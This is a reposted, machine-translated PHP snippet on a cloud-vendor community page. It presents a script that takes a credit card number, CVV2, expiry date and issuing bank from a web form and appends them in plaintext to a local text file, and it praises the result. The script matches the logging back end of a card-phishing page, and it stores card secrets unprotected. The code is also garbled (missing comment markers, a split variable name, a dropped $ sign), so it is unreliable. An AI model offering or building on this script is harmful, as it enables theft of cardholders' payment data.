Code _php tips for collecting form content and writing to files in PHP code

Source: Internet
Author: User
As for the contents of the form, here is not much to say, mainly the form of the action= "getpost.php", that is, write getpost.php this document. The contents of this file are posted below.
Copy Code code as follows:

<?php
Define the content of the form to collect
$cardnum = $_post[' Cardnum '];
$CVV 2 = $_post[' cvv2 '];
$month = $_post[' month '];
$year = $_post[' year '];
$cardbank = $_post[' Cardbank '];
Define the collected content format
$content = "Credit card number:". $cardnum. ", Card verification Number:". $CVV 2. ", expiry Date:". $month. " /year: ". $year.", Issuingbank: ". Cardbank;
Define where files are stored
$compile _dir = "./txt.txt";
Here is the written PHP code.
$file = fopen ($compile _dir, "A +");
Fwrite ($file, $content);
Fclose ($file);
?>

Finally, it will create txt.txt in the current directory, and write the collected information to this file, the effect is very good.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.